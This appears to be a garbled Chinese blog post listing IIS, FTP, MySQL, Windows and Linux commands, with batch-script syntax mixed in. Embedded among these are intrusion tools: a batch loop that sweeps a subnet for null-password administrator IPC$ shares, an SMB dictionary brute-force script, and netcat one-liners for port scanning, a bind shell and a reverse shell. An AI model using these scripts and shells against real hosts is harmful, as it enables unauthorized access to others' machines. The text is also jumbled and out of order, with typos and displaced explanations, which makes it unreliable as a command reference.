DOS命令字典..收藏 (二)

IIS服务命令: 
iisreset /reboot 
重启win2k计算机(但有提示系统将重启信息出现) 
iisreset /start
stop 启动(停止)所有Internet服务 
iisreset /restart 
停止然后重新启动所有Internet服务 
iisreset /status 
显示所有Internet服务状态 
iisreset /enable
disable 在本地系统上启用(禁用)Internet服务的重新启动 
iisreset /rebootonerror 
当启动、停止或重新启动Internet服务时,若发生错误将重新开机 
iisreset /noforce 
若无法停止Internet服务,将不会强制终止Internet服务 
iisreset /timeout Val
在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 
FTP 
命令: (后面有详细说明内容
ftp
的命令行格式为
ftp 
g[主机名显示远程服务器的所有响应信息。 
使用调试方式。 
限制ftp的自动登录,即不使用.netrc文件。 
取消全局文件名。 
help [
命令 [命令查看命令说明 
bye 
 quit 终止主机FTP进程,并退出FTP管理方式
pwd 
列出当前远端主机目录 
put 
 send 本地文件名 [上传到主机上的文件名将本地一个文件传送至远端主机中 
get 
 recv [远程主机文件名] [下载到本地后的文件名从远端主机中传送至本地主机中 
mget [remote-files] 
从远端主机接收一批文件至本地主机 
mput local-files 
将本地主机中一批文件传送至远端主机 
dir 
 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 
ascii 
设定以ASCII方式传送文件(缺省值
bin 
 image 设定以二进制方式传送文件 
bell 
每完成一次文件传送,报警提示 
cdup 
返回上一级目录 
close 
中断与远程服务器的ftp会话(open对应
open host[port] 
建立指定ftp服务器连接,可指定连接端口 
delete 
删除远端主机中的文件 
mdelete [remote-files] 
删除一批文件 
mkdir directory-name 
在远端主机中建立目录 
rename [from] [to] 
改变远端主机中的文件名 
rmdir directory-name 
删除远端主机中的目录 
status 
显示当前FTP的状态 

system 显示远端主机系统类型 
user user-name [password] [account] 
重新以别的用户名登录远端主机 
open host [port] 
重新建立一个新的连接 
prompt 
交互提示模式 
macdef 
定义宏命令 
lcd 
改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 
chmod 
改变远端主机的文件权限 
case 
当为ON,MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 
cd remote
dir 进入远程主机目录 
cdup 
进入远程主机目录的父目录 
在本地机中执行交互shellexit回到ftp环境,!ls.zip 
MYSQL 
命令: 
mysql -h
主机地址 -u用户名 p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。 
(例:mysql -h110.110.110.110 -Uroot -P123456 
:uroot可以不用加空格,其它也一样) 
exit 
退出MYSQL 
mysql*** -u
用户名 -p旧密码 password 新密码 修改密码 
grant select on 
数据库.* to 用户名@登录主机 identified by /"密码/"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) 
show databases; 
显示数据库列表。刚开始时才两个数据库:mysqltestmysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 
use mysql
 
show tables; 
显示库中的数据表 
describe 
表名显示数据表的结构 
create database 
库名建库 
use 
库名; 
create table 
表名 (字段设定列表) 建表 
drop database 
库名
drop table 
表名; 删库和删表 
delete from 
表名将表中记录清空 
select * from 
表名显示表中的记录 
mysqldump --opt school>school.bbb 
备份数据库:(命令在DOS//mysql//bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 
win2003
系统下新增命令(实用部份): 
shutdown /
参数 关闭或重启本地或远程主机。 
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0180秒之间, /A取消开机,/M //IP 指定的远程主机。 

例:shutdown /r /t 0 立即重启本地主机(无延时) 
taskill /
参数 进程名或进程的pid 终止一个或多个任务和进程。 
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 
tasklist 
显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID) 
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
Linux
系统下基本命令: 要区分大小写 
uname 
显示版本信息(同win2K ver 
dir 
显示当前目录文件,ls -al 显示包括隐藏文件(同win2K dir 
pwd 
查询当前所在的目录位置 
cd cd
 ..回到上一层目录,注意cd ..之间有空格。cd /返回到根目录。 
cat 
文件名 查看文件内容 
cat >abc.txt 
abc.txt文件中写上内容。 
more 
文件名 以一页一页的方式显示一个文本文件。 
cp 
复制文件 
mv 
移动文件 
rm 
文件名 删除文件,rm -a 目录名删除目录及子目录 
mkdir 
目录名 建立目录 
rmdir 
删除子目录,目录内没有文档。 
chmod 
设定档案或目录的存取权限 
grep 
在档案中查找字符串 
diff 
档案文件比较 
find 
档案搜寻 
date 
现在的日期、时间 
who 
查询目前和你使用同一台机器的人以及Login时间地点 
查询目前上机者的详细资料 
whoami 
查看自己的帐号名称 
groups 
查看某人的Group 
passwd 
更改密码 
history 
查看自己下过的命令 
ps 
显示进程状态 
kill 
停止某进程 
gcc 
黑客通常用它来编译C语言写的文件 
su 
权限转换为指定使用者 
telnet IP telnet
连接对方主机(同win2K),当出现bash$时就说明连接成功。 
ftp ftp
连接上某服务器(同win2K 

附:批处理命令与变量 

1for命令及变量 基本格式: 
FOR /
参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。 
批处理每次能处理的变量从%0—%910个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use //ip/ipc$ pass /user:user ip%1,pass%2 ,user%3 

(set):指定一个或一组文件,可使用通配符,如:(D:/user.txt)(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1254“(1 -1 254)”说明:即从2541 } 

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:来隔开 
command_parameters
:为特定命令指定参数或命令行开关 

IN (set):指在(set)中取值;DO command :指执行command 

参数:/L 指用增量形式{ (set)为增量形式时 }/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:/pass.txt) } 
用法举例: 
@echo off 
echo 
用法格式:test.bat *.*.* > test.txt 

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use //%1.%%G /user:***istrator | find "命令成功完成" >>test.txt 
存为test.bat 说明:对指定的一个C类网段的254IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。


/L

nc -l -p 80 开启本机的TCP 80端口并监听 
nc -nvv -w2 -z 192.168.0.1 80-1024 
扫锚192.168.0.180-1024端口 
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 
绑定remote主机的cmdshellremoteTCP 5354端口 
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 
梆定remote主机的cmdshell并反向连接192.168.0.25354端口 

 

的用户密码,直到文件中值取完为止。 %%i 为用户名; %1 为输入的 IP 地址(默认)。  
2
if 命令及变量  基本格式:  
IF [not] errorlevel 
数字  命令语句  如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为  
例: IF errorlevel 0  命令  指程序执行后返回的值为 0 时,就值行后面的命令; IF not errorlevel 1  命令指程序执行最后返回的值不等于 1 ,就执行后面的命令。  
指发现并成功执行(真); 指没有发现、没执行(假)。  
IF [not] 
字符串 1== 字符串 命令语句  如果指定的文本字符串匹配(即:字符串 等于  字符串 2 ),就执行后面的命令。  
例: “if "%2%"=="4" goto start” 指:如果输入的第二个变量为 4 时,执行后面的命令(注意:调用变量时就 % 变量名 % 并加 " "  
IF [not] exist 
文件名  命令语句  如果指定的文件名存在,就执行后面的命令。  
例: “if not nc.exe goto end” 指:如果没有发现 nc.exe 文件就跳到 ":end" 标签处。  
IF [not] errorlevel 
数字  命令语句  else  命令语句或  IF [not]  字符串 1== 字符串 命令语句  else  命令语句或  IF [not] exist  文件名  命令语句  else  命令语句  加上: else  命令语句后指:当前面的条件不成立时,就指行 else 后面的命令。注意: else  必须与  if  在同一行才有效。  当有 del 命令时需把 del 命令全部内容用 < > 括起来,因为 del 命令要单独一行时才能执行,用上 < > 后就等于是单独一行了;例如: “if exist test.txt. 
(二)系统外部命令 ( 均需下载相关工具 )  
1 、瑞士军刀: nc.exe 

参数说明: 
-h 
查看帮助信息 
-d 
后台模式 
-e prog
程序重定向,一但连接就执行〔危险〕 
-i secs
延时的间隔 
-l 
监听模式,用于入站连接 
-L 
监听模式,连接天闭后仍然继续监听,直到CTR+C 
-n IP
地址,不能用域名 
-o film
记录16进制的传输 
-p[
空格]端口 本地端口号 
-r 
随机本地及远程端口 
-t 
使用Telnet交互方式 
-u UDP
模式 
-v 
详细输出,用-vv将更详细 
-w
数字 timeout延时间隔 
-z 
将输入,输出关掉(用于扫锚时) 
基本用法: 
nc -nvv 192.168.0.1 80 
连接到192.168.0.1主机的80端口 



指用增量形式(即从1-254254-1);输入的IP前面三位:*.*.*为批处理默认的 %1%%G 为变量(ip的最后一位);用来隔开echo net use 这二个命令;指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 
@echo off 
echo 
用法格式:ok.bat ip 
FOR /F %%i IN (D:/user.dic) DO smb.exe %1 %%i D:/pass.dic 200 
存为:ok.exe 说明:输入一个IP后,用字典文件d:/pass.dic来暴解d:/user.dic

 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值